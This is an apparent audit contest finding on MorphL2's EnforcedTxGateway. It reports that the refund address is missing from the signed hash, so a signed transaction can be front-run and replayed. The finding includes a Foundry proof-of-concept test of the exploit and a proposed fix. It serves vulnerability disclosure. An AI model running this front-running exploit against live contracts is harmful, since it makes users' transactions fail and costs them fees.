Polished Inky Stork

Medium

# Grifieng of `EnforcedTxGateway::sendTransaction`

### Summary

The missing `_refundAddress` on `_structHash`, allows malicious users can grifeing of someone's `sendTransaction` transaction.

### Root Cause

Look at here [112-140](https://github.com/sherlock-audit/2024-08-morphl2/blob/98e0ec4c5bbd0b28f3d3a9e9159d1184bc45b38d/morph/contracts/contracts/l1/gateways/EnforcedTxGateway.sol#L112-L140):
```solidity
  function sendTransaction(
        address _sender,
        address _target,
        uint256 _value,
        uint256 _gasLimit,
        bytes calldata _data,
        uint256 _deadline,
        bytes memory _signature,
=>   address _refundAddress
    ) external payable whenNotPaused {
        // solhint-disable-next-line not-rely-on-time
        require(block.timestamp <= _deadline, "signature expired");

        uint256 _nonce = nonces[_sender];
        bytes32 _structHash = keccak256(
=>         abi.encode(_ENFORCED_TX_TYPEHASH, _sender, _target, _value, _gasLimit, keccak256(_data), _nonce, _deadline)
        );
        unchecked {
            nonces[_sender] = _nonce + 1;
        }

        bytes32 _hash = _hashTypedDataV4(_structHash);
        address _signer = ECDSAUpgradeable.recover(_hash, _signature);

        // no need to check `_signer != address(0)`, since it is checked in `recover`.
        require(_signer == _sender, "Incorrect signature");

 =>  _sendTransaction(_sender, _target, _value, _gasLimit, _data, _refundAddress);
    }
```
see that, in `_structHash` there is no `_refundAddress`. 

So, a malicious user can perform a `sendTransaction` with parameters from the user and the refund address will be filled in by the malicious user.

### External pre-conditions

- The victim performs the `sendTransaction` first. With their signature.

### Attack Path

1. The user performs a `sendTransaction` with their parameters.
2. The attacker sees this and executes the user's tx (with front running), modifying `_refundAddress` with the attacker's address.
3. As a result, the user transaction will fail.

### Impact
- Users lose about $20-$50 in fees, as this contract is deployed on ethereum.
- The user transaction will fail.
- Then when the user does it again with the same parameters, it will fail, because the nonce has increased.
- If the user performs txs again with the same parameters but with a new nonce, then the tx will be duplicated because it has already done by the attacker.

### PoC

- PoC with proxies is too long, so this is a simple poc.
- Modify `EnforcedTxGateway.sol` like this:
```solidity
 constructor() {
    }

 function _sendTransaction(
        address _sender,
        address _target,
        uint256 _value,
        uint256 _gasLimit,
        bytes calldata _data,
        address _refundAddress
    ) internal nonReentrant {
        address _messageQueue = messageQueue;

        // charge fee
        uint256 _fee = 1e14;
        require(msg.value >= _fee, "Insufficient value for fee");
        if (_fee > 0) {
            (bool _success, ) = feeVault.call{value: _fee}("");
            require(_success, "Failed to deduct the fee");
        }

        // append transaction

        // refund fee to `_refundAddress`
        unchecked {
            uint256 _refund = msg.value - _fee;
            if (_refund > 0) {
                (bool _success, ) = _refundAddress.call{value: _refund}("");
                require(_success, "Failed to refund the fee");
            }
        }
    }
```
- Run PoC with `forge test -vvvv --match-test test_front_running_sendTransaction`

#### POC
```solidity
pragma solidity =0.8.24;
import "forge-std/Test.sol";

import "../l1/gateways/EnforcedTxGateway.sol";
import {ITransparentUpgradeableProxy, TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ECDSAUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";

contract EnforcedTxGatewayTest is Test {
    using ECDSAUpgradeable for bytes32;

    EnforcedTxGateway enforcedTxGateway;

    uint256 internal victimPrivateKey;
    address attacker;
    address victim;
    address target;

    bytes32 private constant _ENFORCED_TX_TYPEHASH =
        keccak256(
            "EnforcedTransaction(address sender,address target,uint256 value,uint256 gasLimit,bytes data,uint256 nonce,uint256 deadline)"
        );

    function setUp() public {
        enforcedTxGateway = new EnforcedTxGateway();
        enforcedTxGateway.initialize(address(0x123), address(0x567));
        attacker = makeAddr("attacker");
        target = makeAddr("target");

        victimPrivateKey = 0xa11ce;
        victim = vm.addr(victimPrivateKey);
        deal(attacker, 2 ether);
        deal(victim, 2 ether);
    }

    function test_front_running_sendTransaction() public {
        // parameter
        address _sender = victim;

        address _target = target;
        uint256 _value = 0;
        uint256 _gasLimit = 21000;
        bytes memory _data = abi.encode("helloworld");
        uint256 _nonce = 0;
        uint256 _deadline = block.timestamp + 4200;

        bytes32 _structHash = keccak256(
            abi.encode(_ENFORCED_TX_TYPEHASH, _sender, _target, _value, _gasLimit, keccak256(_data), _nonce, _deadline)
        );

        bytes32 _hash = _hashTypedDataV4(_structHash);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(victimPrivateKey, _hash);
        bytes memory signature = abi.encodePacked(r, s, v);

        vm.startPrank(attacker);
        enforcedTxGateway.sendTransaction{value: 1 ether}(
            _sender,
            _target,
            _value,
            _gasLimit,
            _data,
            _deadline,
            signature,
            attacker
        );

        vm.stopPrank();

        // After attacker run front running, victim perform they tx and it's will fails

        vm.startPrank(victim);
        vm.expectRevert("Incorrect signature");
        enforcedTxGateway.sendTransaction{value: 0.1 ether}(
            _sender,
            _target,
            _value,
            _gasLimit,
            _data,
            _deadline,
            signature,
            victim
        );
    }

    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
        return ECDSAUpgradeable.toTypedDataHash(enforcedTxGateway.DOMAIN_SEPARATOR(), structHash);
    }
}

```

### Mitigation

Packed a `_refundAddress` on this:
 `bytes32 _structHash = keccak256(
            abi.encode(_ENFORCED_TX_TYPEHASH, _sender, _target, _value, _gasLimit, keccak256(_data), _nonce, _deadline, _refundAddress)
        );`